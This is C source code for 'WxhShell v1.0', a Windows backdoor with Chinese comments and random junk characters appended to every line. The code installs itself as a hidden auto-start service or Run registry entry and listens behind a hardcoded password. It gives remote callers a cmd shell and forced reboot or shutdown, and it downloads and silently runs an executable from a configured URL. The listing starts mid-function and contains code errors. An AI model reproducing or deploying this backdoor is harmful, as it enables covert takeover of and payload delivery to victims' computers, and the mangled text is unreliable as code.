    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]yCmGt+b  
    if(Boot(SHUTDOWN)) }b6ja y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b>I -4  
    else { $~zqt%}  
    closesocket(wsh); r(i<H%"Z  
    ExitThread(0); :^J(%zy  
    } '<4OA!,^)  
    break; `~pB1sS{  
    } 1 *;?uC\  
  // 获取shell ^N0hc!$  
  case 's': { WpSdukXY{  
    CmdShell(wsh); ]!h%Jlu  
    closesocket(wsh); 3lA<{m;V  
    ExitThread(0); k{"~G#GwP  
    break; ZN G.W0{p  
  } |Q.?<T:wt=  
  // 退出 /$I&D}uR`  
  case 'x': { Qzb8*;4?FF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &$vDC M4  
    CloseIt(wsh); }Ct_i'Ow  
    break; p5G O@^i  
    } L=zeFn  
  // 离开 bF?EuL  
  case 'q': { AB}Qd\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X+bLLW>&  
    closesocket(wsh); J"FKd3~:E  
    WSACleanup(); 6q6&N'We  
    exit(1); `=%[  
    break; ~''qd\.f$  
        }  X-~Q  
  } ^'v6 ,*:4  
  } YgdoQBQ  
,| xG2G6  
  // 提示信息 URJ"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NjsP"  
} ^vsOlA(4  
  } N-K.#5  
-[Zau$;J<  
  return; cnCUvD]'  
} 83;1L:}`  
J>XaQfzwU  
// shell模块句柄 U5izOFc  
int CmdShell(SOCKET sock) _.Uz!2  
{ fIWQ+E  
STARTUPINFO si; %>5Ht e<  
ZeroMemory(&si,sizeof(si)); = eTI@pN`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +`.%aJIi9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k= nfo-h  
PROCESS_INFORMATION ProcessInfo; {TE0  
char cmdline[]="cmd"; 98o;_tU'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G?>~w[#mQR  
  return 0; "Z}0A/y  
}  6~$ <  
l_^>spF  
// 自身启动模式 Z0`?  
int StartFromService(void) S,Zjol%p  
{ {vA;#6B|  
typedef struct *M- .Vor?R  
{ ] p+t>'s  
  DWORD ExitStatus; W+Gu\=s%O  
  DWORD PebBaseAddress; G9Azd^3  
  DWORD AffinityMask; 8*6J\FE<p  
  DWORD BasePriority; $`_(%tl  
  ULONG UniqueProcessId; PX2Ejrwj  
  ULONG InheritedFromUniqueProcessId; Z''Fz(qMC  
}   PROCESS_BASIC_INFORMATION; 3<fJ5-z|-  
t6-c{ZX>A  
PROCNTQSIP NtQueryInformationProcess; q2gc.]K \  
~3f#cEP>d}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #8nF8J< 4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9OT2yC T  
&\C vrxa  
  HANDLE             hProcess; EB@!?=0x  
  PROCESS_BASIC_INFORMATION pbi; a-i#?hld  
Z4h P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HzH_5kVW  
  if(NULL == hInst ) return 0; W,AIE 6F  
&sx/qS#,VL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); { H9pF2C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CAc nH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n (cSfT  
 \2eYw.I=  
  if (!NtQueryInformationProcess) return 0; }})4S;j  
8 _`Lx_R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?:n{GK  
  if(!hProcess) return 0; -cq ~\m^6  
Of([z!'Gc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ie4*#N_  
uz'beE  
  CloseHandle(hProcess); '*-X 3p  
b;!ilBc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S$muV9z2=  
if(hProcess==NULL) return 0; 8Bhot,u'T  
s8eiq`6\H}  
HMODULE hMod; r<C^hs&]  
char procName[255]; @J" }~Y  
unsigned long cbNeeded; UxzwgVT  
]e?*7T]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r OB\u|Pg  
nV']^3b  
  CloseHandle(hProcess); a[9;Okm #  
Wuc,Cjm9(!  
if(strstr(procName,"services")) return 1; // 以服务启动 ]*zF#Voc  
7M*+!al9  
  return 0; // 注册表启动 YWq[)F@0G  
} `4;<\VYCr  
jX+LI  
// 主模块 * k =L  
int StartWxhshell(LPSTR lpCmdLine) 0Vy* 0\{S  
{ j#!J hi  
  SOCKET wsl; s/ZOA[Yux  
BOOL val=TRUE; 5l(;+#3y/  
  int port=0; ZMx_J  
  struct sockaddr_in door; UK& E#i  
/!AdX0dx  
  if(wscfg.ws_autoins) Install(); gfr``z=>O  
7zQD.+&L  
port=atoi(lpCmdLine); HJg)c;u/2;  
Z$WT ~V  
if(port<=0) port=wscfg.ws_port; k"Sw,"e>+  
#"7:NR^H^  
  WSADATA data; C: e}}8i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xn}'!S2-b  
CB?.| )Xam  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~@got  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W"!nf  
  door.sin_family = AF_INET; 06Uxd\E~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;iS}<TA  
  door.sin_port = htons(port); U35}0NT _  
wu 3uu1J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V TEyqo2  
closesocket(wsl); ,LzS"lmmo  
return 1; |h6 @hB\  
} !+fHdB  
eh)J'G]G  
  if(listen(wsl,2) == INVALID_SOCKET) { `L9o !OsQ  
closesocket(wsl); 2ix_,yTO  
return 1; Yq5}r?N  
} sV[|op  
  Wxhshell(wsl); 1N#TL"lMS  
  WSACleanup(); ]$*N5Y  
ih~c(&n0  
return 0; -F5U.6~`!  
 ) mv}u~  
} lbv, jS  
k?xtZ,n{s  
// 以NT服务方式启动 Bpk%,*$*)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |: nuT$(  
{ :;??!V  
DWORD   status = 0; >Zmpsa+  
  DWORD   specificError = 0xfffffff; fDbs3"H Q  
m+uh6IqN./  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F ^E(AE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *O 0*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )k7`!@ID  
  serviceStatus.dwWin32ExitCode     = 0; yUH8  
  serviceStatus.dwServiceSpecificExitCode = 0; KrbNo$0%  
  serviceStatus.dwCheckPoint       = 0; y?5*K  
  serviceStatus.dwWaitHint       = 0; _0vXujz  
Hs-NP#I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )n0g6  
  if (hServiceStatusHandle==0) return; %8 4<@f&n]  
G_AAE#r`  
status = GetLastError(); possM'vC  
  if (status!=NO_ERROR) 5'z&kl0"S  
{ N8nyTPw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; spe9^.SI  
    serviceStatus.dwCheckPoint       = 0; <D4)gRRo  
    serviceStatus.dwWaitHint       = 0; +Z{ 4OJK  
    serviceStatus.dwWin32ExitCode     = status; T>?sPq  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9qqEr~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jpBE| Nm  
    return; 4|:{apH  
  } 8-SVgo(  
9)4N2=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;'<K}h  
  serviceStatus.dwCheckPoint       = 0; ,:L}S03k  
  serviceStatus.dwWaitHint       = 0; N!Y'W)i16  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /pyKTZ|  
} FAQ:0 L$G  
?T4%"0  
// 处理NT服务事件,比如:启动、停止 "&2D6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) UiYA#m  
{ *~:@xMa  
switch(fdwControl) ;UWdT]>!?  
{ nt5 ~"8  
case SERVICE_CONTROL_STOP: BO{J{  
  serviceStatus.dwWin32ExitCode = 0; G&Cl:CtC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C ]r$   
  serviceStatus.dwCheckPoint   = 0; j?&FK  
  serviceStatus.dwWaitHint     = 0; F^ Q  
  { >ueJ+sgH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *#2`b%qh\M  
  } q_ 5xsTlTR  
  return; IGB>8$7  
case SERVICE_CONTROL_PAUSE: 3]c<7vdl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~F' $p  
  break; \!YPht  
case SERVICE_CONTROL_CONTINUE: nFB;!r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -D(Ubk Pw  
  break; ;^ /9sLW?#  
case SERVICE_CONTROL_INTERROGATE: x]{h$yI  
  break; ]gmf%g'C  
}; ?Rl*5GRW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M_XZOlW5  
} 3cfkJ|fuwe  
O%+:fJz6wI  
// 标准应用程序主函数 m&$H ?yXW>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z-vzq;  
{ ,,G0}N@7s  
U2Ur N?T  
// 获取操作系统版本 )FHaJ*&d  
OsIsNt=GetOsVer(); M(2[X/t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h+Z|s  
-6H)GK14b  
  // 从命令行安装 JdV!m`XpXy  
  if(strpbrk(lpCmdLine,"iI")) Install(); z2 dM*NMK  
riBT5  
  // 下载执行文件 Y.hrU*[J0  
if(wscfg.ws_downexe) { +"p" ,Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]XP[tLY Y  
  WinExec(wscfg.ws_filenam,SW_HIDE);  vG  
} =)bZSb"<"  
UPgZj\t%{  
if(!OsIsNt) { G A7  
// 如果时win9x,隐藏进程并且设置为注册表启动 VvltVYOZA  
HideProc(); r":<1+07  
StartWxhshell(lpCmdLine); TY88PXW  
} \Xkx`C  
else (JM4W "7'  
  if(StartFromService()) gbInSp`4  
  // 以服务方式启动 Qe4  
  StartServiceCtrlDispatcher(DispatchTable); .:lzT"QXI  
else D<rjxP  
  // 普通方式启动 ]&9f:5',  
  StartWxhshell(lpCmdLine); Z v~ A9bB  
q,*IR*B:a  
return 0; -J[D:P.Z  
} a.Mp1W  
G;^iwxzhO  
Cu`ZgK LQ  
v h%\ " h  
=========================================== Z4(2&t^  
nrf%/L  
=LT({8  
2>H\arEstR  
1fC|_V(0  
ZU:gNO0  
" hwXp=not(  
w6E?TI  
#include <stdio.h> vfo[<"  
#include <string.h> rVN|OLh  
#include <windows.h> rSZWmns  
#include <winsock2.h> 5Pr<%}[S^  
#include <winsvc.h> ;=n7 Z  
#include <urlmon.h> 9:kb0oBa?l  
8F@6^9C  
#pragma comment (lib, "Ws2_32.lib") (Ux%7H_d  
#pragma comment (lib, "urlmon.lib") $ &^ ,(z9  
yx}:Sgv%  
#define MAX_USER   100 // 最大客户端连接数 K]7@%cS  
#define BUF_SOCK   200 // sock buffer |C(72t?K  
#define KEY_BUFF   255 // 输入 buffer "qDEI}  
.&[nS<~`  
#define REBOOT     0   // 重启 L?Lp``%bI7  
#define SHUTDOWN   1   // 关机 JN8k x;@  
s0`uSQ2X  
#define DEF_PORT   5000 // 监听端口 IBuuZ.=j2h  
.*zQ\P  
#define REG_LEN     16   // 注册表键长度 |FcG$[  
#define SVC_LEN     80   // NT服务名长度 qQom=x  
w?5b:W,  
// 从dll定义API /vQ^>2X%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MDB}G '  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W5x]bl#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UGN. ]#"#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +V'Z%;/  
WK=!<FsC$  
// wxhshell配置信息 1/{:}9Z@  
struct WSCFG { 2HTZ, W  
  int ws_port;         // 监听端口 I@z{G r  
  char ws_passstr[REG_LEN]; // 口令 -~aVt~{k/  
  int ws_autoins;       // 安装标记, 1=yes 0=no i 9b^\&&  
  char ws_regname[REG_LEN]; // 注册表键名 '!Sj]+  
  char ws_svcname[REG_LEN]; // 服务名 nnE@1X3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W!Xgse3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |4'E&(BU-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6#K_Rg>.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f{)*"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !BY=HFT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AX&1-U  
Z@h]dU5%a  
}; My[L3KTTp  
3!}#@<j  
// default Wxhshell configuration SKS[Lf  
struct WSCFG wscfg={DEF_PORT, F0|T%!FB>%  
    "xuhuanlingzhe", 'WOW m$2  
    1, O/<jt'  
    "Wxhshell", V]<dh|x  
    "Wxhshell", lS,Hr3Lz  
            "WxhShell Service", c '(]n]a%  
    "Wrsky Windows CmdShell Service", k9bU<  
    "Please Input Your Password: ", >a0;|;hp  
  1, FINM4<s)  
  "http://www.wrsky.com/wxhshell.exe", 7'o?'He-.2  
  "Wxhshell.exe" yrIT4y  
    }; 95+}NJ;r  
\l[5U3{  
// 消息定义模块 /!E /9[V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y.~5n[W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <8y8^m`P9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?Cu$qE!h)[  
char *msg_ws_ext="\n\rExit."; vw!i)JO8M  
char *msg_ws_end="\n\rQuit."; XkNi 'GJf  
char *msg_ws_boot="\n\rReboot..."; z* `81  
char *msg_ws_poff="\n\rShutdown..."; ,fN iZ  
char *msg_ws_down="\n\rSave to "; tz)L`g/J~  
$b8>SSz  
char *msg_ws_err="\n\rErr!"; \twlHj4  
char *msg_ws_ok="\n\rOK!"; L,l+1`Jz  
Gm|QOuw  
char ExeFile[MAX_PATH]; }tJ:-!*2  
int nUser = 0; bVVa5? HP  
HANDLE handles[MAX_USER]; H`".L^  
int OsIsNt; 2.x3^/  
l9<+4rK2  
SERVICE_STATUS       serviceStatus; `  ^6}Dn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p]>bN  
d82IEhZ#  
// 函数声明 nyDqR#t  
int Install(void);  CZuxH  
int Uninstall(void); YGNX+6Lz  
int DownloadFile(char *sURL, SOCKET wsh); zxj!ihs<  
int Boot(int flag); t,H,*2  
void HideProc(void); `P GWu1/  
int GetOsVer(void); Oa7W&wi  
int Wxhshell(SOCKET wsl); g%+nMjif  
void TalkWithClient(void *cs); Qr0GxGWU  
int CmdShell(SOCKET sock); qD9B[s8  
int StartFromService(void); PC3wzJ\\S  
int StartWxhshell(LPSTR lpCmdLine); C f+O7Y`^  
q|j;dI&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @!F9}n AP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7N""w5  
NeWssSje  
// 数据结构和表定义 q=EQDHmh  
SERVICE_TABLE_ENTRY DispatchTable[] = 0W>O,%z&P#  
{ k"n#4o:  
{wscfg.ws_svcname, NTServiceMain}, \t1vYIY]T  
{NULL, NULL} Ig6s'^  
}; Ge @d"  
U} g%`<  
// 自我安装 omY?`(=  
int Install(void) D QZS%)  
{ D_8hn3FH  
  char svExeFile[MAX_PATH]; Jv7M[SJ#x  
  HKEY key; |Rl|Th  
  strcpy(svExeFile,ExeFile); u!X 2ju<  
mq "p"iI  
// 如果是win9x系统,修改注册表设为自启动 A#p@`|H#B  
if(!OsIsNt) { 1%+0OmV&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V*/))n?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k%LE"Q  
  RegCloseKey(key); ?r@ZTuq#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mhs%b4'>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N* z<VZ  
  RegCloseKey(key); "=RB #  
  return 0; p3Gj=G  
    } L,:U _\HQ  
  } uD5i5,q1Hs  
} , <[os  
else { #VrT)po+  
%ZxKN;  
// 如果是NT以上系统,安装为系统服务 pjoI};  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O_:Q#  
if (schSCManager!=0) 3 C[ ;2  
{ X)|%[aX}q  
  SC_HANDLE schService = CreateService o3`Z@-.G  
  ( q!7\`>.2:{  
  schSCManager, ](W #Tj5-  
  wscfg.ws_svcname, Xau.4&\d  
  wscfg.ws_svcdisp, *]EcjK%  
  SERVICE_ALL_ACCESS, A+dY~@*a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )dvOg'it  
  SERVICE_AUTO_START, x~mXtqg  
  SERVICE_ERROR_NORMAL, %?cPqRHJ ~  
  svExeFile, "JGaw_o  
  NULL, : Z.mM5  
  NULL, aRV!0?fS  
  NULL, |g9^]bT  
  NULL, ]:f1r8<3p  
  NULL .3Ap+V8?  
  ); kBT cN D|  
  if (schService!=0) j9qN!.~mM  
  { !K@y B)9  
  CloseServiceHandle(schService); (g;Ff`P Pc  
  CloseServiceHandle(schSCManager); w(@`g/b  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SHaZ-d  
  strcat(svExeFile,wscfg.ws_svcname); '|+_~ZO*d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =GpLlJ`-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PK~okz4b  
  RegCloseKey(key); EYQ!ELuF  
  return 0; mEqV&M1;7l  
    }  &wj Ob  
  } K}zw%!ex  
  CloseServiceHandle(schSCManager); `ybZE+S.  
} E8503  
}  aCTVY1  
$~2A o[  
return 1; m]%cNxS  
} :1s1wY3Y  
/)G9w]|T  
// 自我卸载 7z$+ *]9-  
int Uninstall(void) v:+se6HY?p  
{ g5?Fo%W  
  HKEY key; u|Ai<2b$  
}%}eyLm(  
if(!OsIsNt) { MRa>@Jn??A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x 1 _(j  
  RegDeleteValue(key,wscfg.ws_regname);  Wi|.Z/  
  RegCloseKey(key); b!N`@m=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BU)4g[4  
  RegDeleteValue(key,wscfg.ws_regname); HgMDw/D(  
  RegCloseKey(key); VP"L _Um  
  return 0; 7j]@3D9[:p  
  } {k)MC)%  
} cEN^H  
} Z]6D0b  
else { zL{KK9Or  
kn<[v;+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~jPe9  
if (schSCManager!=0) =*'` \}];"  
{ M\GS&K$lq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \gzNMI*  
  if (schService!=0) g_q{3PW.  
  { HS2)vd@)  
  if(DeleteService(schService)!=0) { )oNomsn  
  CloseServiceHandle(schService); &oR&NKk  
  CloseServiceHandle(schSCManager);  t9=rr>8)  
  return 0; 4]g^aaQFd>  
  } vz _U  
  CloseServiceHandle(schService); uo%zfi?  
  } 5n"'M&Ce  
  CloseServiceHandle(schSCManager); oo qNPLa  
} LPXwfEHOm  
} f&,.h"bS  
[m4<j  
return 1; CR _A{(  
} 8<o(z'&y  
KSexG:Xb  
// 从指定url下载文件 $`riB$v  
int DownloadFile(char *sURL, SOCKET wsh) yK{~  
{ P--#5W;^oB  
  HRESULT hr; 0 8U:{LL  
char seps[]= "/"; 7<) .luV  
char *token; QM$?}>:  
char *file; @U9ov >E  
char myURL[MAX_PATH]; m/{rmtA4  
char myFILE[MAX_PATH]; w,P2_xk`  
c-3? D;  
strcpy(myURL,sURL); 'tdjPdw  
  token=strtok(myURL,seps); >Qi2;t~G  
  while(token!=NULL) N_T;&wibO  
  { Z$@Juv&>5^  
    file=token; @hCGV'4  
  token=strtok(NULL,seps); LsmC/+7r$1  
  } YS/DIH{9e  
<?I~ +  
GetCurrentDirectory(MAX_PATH,myFILE); 1M+mH#?  
strcat(myFILE, "\\"); ^,rbA>/L  
strcat(myFILE, file); m!PN1$9V  
  send(wsh,myFILE,strlen(myFILE),0); @Pa ;h  
send(wsh,"...",3,0); m=#2u4H4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ptsi\ 7BG  
  if(hr==S_OK) tIRw"sz  
return 0; i#eb%9Mn  
else ed617J  
return 1; ]v+\v re  
-Z#A}h  
} wWH5T}\  
\_+d*hHF~  
// 系统电源模块 O/FQ'o1F  
int Boot(int flag) KI# hII[Q.  
{ .-o$ IQsS  
  HANDLE hToken; :_vf1>[  
  TOKEN_PRIVILEGES tkp; g{i( 4DHm(  
[WB8X,  
  if(OsIsNt) { \Q & Kd|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +4@EJRC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a|OX4  
    tkp.PrivilegeCount = 1; 1|Fukx<@J<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h<}4mo_ $  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3vMfms  
if(flag==REBOOT) { `?La  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pV1~REk$&  
  return 0; ;8ugI  
} k6$.pCH6  
else { ;ASlsUE\)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uRp-yu[nt%  
  return 0; 7H=/FT?e]  
} z;Kyg}  
  } uv Z!3UH.  
  else { =WHdy;  
if(flag==REBOOT) { V a<L[8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `~gyq>Ik2  
  return 0; ] @IzJz"R  
} %SIbpk%  
else { _TkiI.'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8?ZK^+]y  
  return 0; xC{W_a(  
} rFGbp8(2  
} Qxt ,@<IK  
A?Uyj  
return 1; 7=}`"7i~  
} Y68oBUd_E  
g"F vD_  
// win9x进程隐藏模块 3>-^/  
void HideProc(void) }]/"auk  
{ mhVSZhx|  
rBT#Cyl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P)Sw`^d  
  if ( hKernel != NULL ) `vUilh ^c  
  { z#*fELV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); EdLbVrN,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z+E@B>D7A^  
    FreeLibrary(hKernel); JZ9w!)U  
  } <&Y7Q[  
8I`>tY  
return;   Lxs  
} 6>zO"9  
V) C4 sG  
// 获取操作系统版本  \&"gCv#  
int GetOsVer(void) U+URj <)  
{ fgq#Oi}  
  OSVERSIONINFO winfo; L`tr7EEr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); K&\xbT  
  GetVersionEx(&winfo); <-FAF:6$@@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r. :LZEr  
  return 1; +%oXPG?  
  else ]~GwZB'M  
  return 0; )}tI8  
} oBpHmMzA  
4Y;z46yM%  
// 客户端句柄模块 iJT_*,P^  
int Wxhshell(SOCKET wsl) )Z,O*u*  
{ 7"FsW3an  
  SOCKET wsh; x}{/) ?vC  
  struct sockaddr_in client; 1@egAo)  
  DWORD myID; 1 VcZg%I  
0p)#!$  
  while(nUser<MAX_USER) $@s&qi_&R  
{ 9aHV~5  
  int nSize=sizeof(client); g Q6_]~4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]oUvC  
  if(wsh==INVALID_SOCKET) return 1; r ".*l?=  
z;J"3kM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }CIH1q3P  
if(handles[nUser]==0) WRe9ki=R  
  closesocket(wsh); % tTL  
else Q9Sh2qF^2  
  nUser++; ")}^\O m  
  } Uf4A9$R.G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >^=up f/  
'pa[z5{k+  
  return 0; ;p)RMRMg  
} 3MH9%*w'0  
Zi/ tax9C  
// 关闭 socket !{>'jvH  
void CloseIt(SOCKET wsh) jJml[iC  
{ 6j/g/!9c!  
closesocket(wsh); xf% _HMKc  
nUser--; uB_8P+h7  
ExitThread(0); H`d595<=i;  
} @y ] ek/  
VKqIFM1b  
// 客户端请求句柄 r~nD%H:}P  
void TalkWithClient(void *cs) `tw[{Wb  
{ B:J([@\'  
V"K-aO&  
  SOCKET wsh=(SOCKET)cs; XYj!nx{k,  
  char pwd[SVC_LEN]; mE\sD<b  
  char cmd[KEY_BUFF]; D<U^FT  
char chr[1]; C>wOoXjt  
int i,j; 4z%::?  
MVP|l_2!  
  while (nUser < MAX_USER) { _Wg?H:\  
'guXdX]Gu  
if(wscfg.ws_passstr) { >xsbXQ>.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 41Ga-0p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w`KqB(36  
  //ZeroMemory(pwd,KEY_BUFF); Lz6b9W  
      i=0; F#-mseKhc  
  while(i<SVC_LEN) { ",O |uL  
>8M=RE n4  
  // 设置超时 Bie#GKc  
  fd_set FdRead; =>3wI'I  
  struct timeval TimeOut; # 0kVhx7%  
  FD_ZERO(&FdRead); Is&0h|  
  FD_SET(wsh,&FdRead); 8z1#Q#5  
  TimeOut.tv_sec=8; Rxb?SBa  
  TimeOut.tv_usec=0; 3u[m? Vw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r ]s7a?O  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3EkCM_]  
+{#65 z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OEi u,Y|@l  
  pwd=chr[0]; 1V ,Mk#_  
  if(chr[0]==0xd || chr[0]==0xa) { 7M8oI.?C|  
  pwd=0; yzyBr1s  
  break; RD6n1Wb(@  
  } Cfs2tN  
  i++; vG'6?%38  
    }  3-~*  
_nwsIjsW  
  // 如果是非法用户,关闭 socket $/p0DY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {#`O'F>  
} Y8v13"P6  
{=I:K|&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }uR[H2D`L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 76::X:76  
}_mVXjF  
while(1) { _+7+90u  
0Wkk$0h9  
  ZeroMemory(cmd,KEY_BUFF); (1IYOlG4  
#)r^ZA&E  
      // 自动支持客户端 telnet标准   Q HU|aC{r  
  j=0; \<ko)I#%  
  while(j<KEY_BUFF) { / <C{$Gu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IN8G4\r  
  cmd[j]=chr[0]; lQl!TW"aO  
  if(chr[0]==0xa || chr[0]==0xd) { )2sE9G,  
  cmd[j]=0; S2i*Li  
  break; q]scKWYI  
  } !\< [}2}  
  j++; ThvgYv--B  
    } _sqj~|K  
&L[i"1a  
  // 下载文件 +$}3=n34)  
  if(strstr(cmd,"http://")) { Bo,>blspw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9\'JtZO  
  if(DownloadFile(cmd,wsh)) `' .;U=mF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); HVdy!J  
  else CP'b,}Dd?I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ' kOkwGf!  
  } 57wHo[CJ  
